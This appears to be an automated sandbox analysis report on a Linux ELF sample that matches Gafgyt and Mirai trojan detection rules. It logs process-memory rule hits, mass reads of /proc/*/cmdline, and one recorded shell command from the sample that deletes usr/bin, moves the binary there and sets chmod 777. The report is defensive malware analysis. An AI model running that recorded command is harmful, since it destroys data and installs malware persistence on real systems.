Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5446.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 5432.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5460.1.0000000000400000.000000000041e000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5432, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5446, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: AFWaD3vnqR.elf PID: 5460, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@0/0

Source: /bin/sh (PID: 5437)

Chmod directory: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/5380/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/5277/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/AFWaD3vnqR.elf (PID: 5458)	File opened: /proc/816/cmdline	Jump to behavior

Source: /tmp/AFWaD3vnqR.elf (PID: 5433)

Shell command executed: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/AFWaD3vnqR.elf usr/bin; chmod 777 usr/bin"

Jump to behavior

Source: /bin/sh (PID: 5437)

Chmod executable: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /bin/sh (PID: 5435)

Mkdir executable: /usr/bin/mkdir -> mkdir usr

Jump to behavior

Source: /bin/sh (PID: 5434)

Rm executable: /usr/bin/rm -> rm -rf usr/bin

Jump to behavior

Source: /usr/bin/chmod (PID: 5437)

File: /tmp/usr/bin (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5437)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

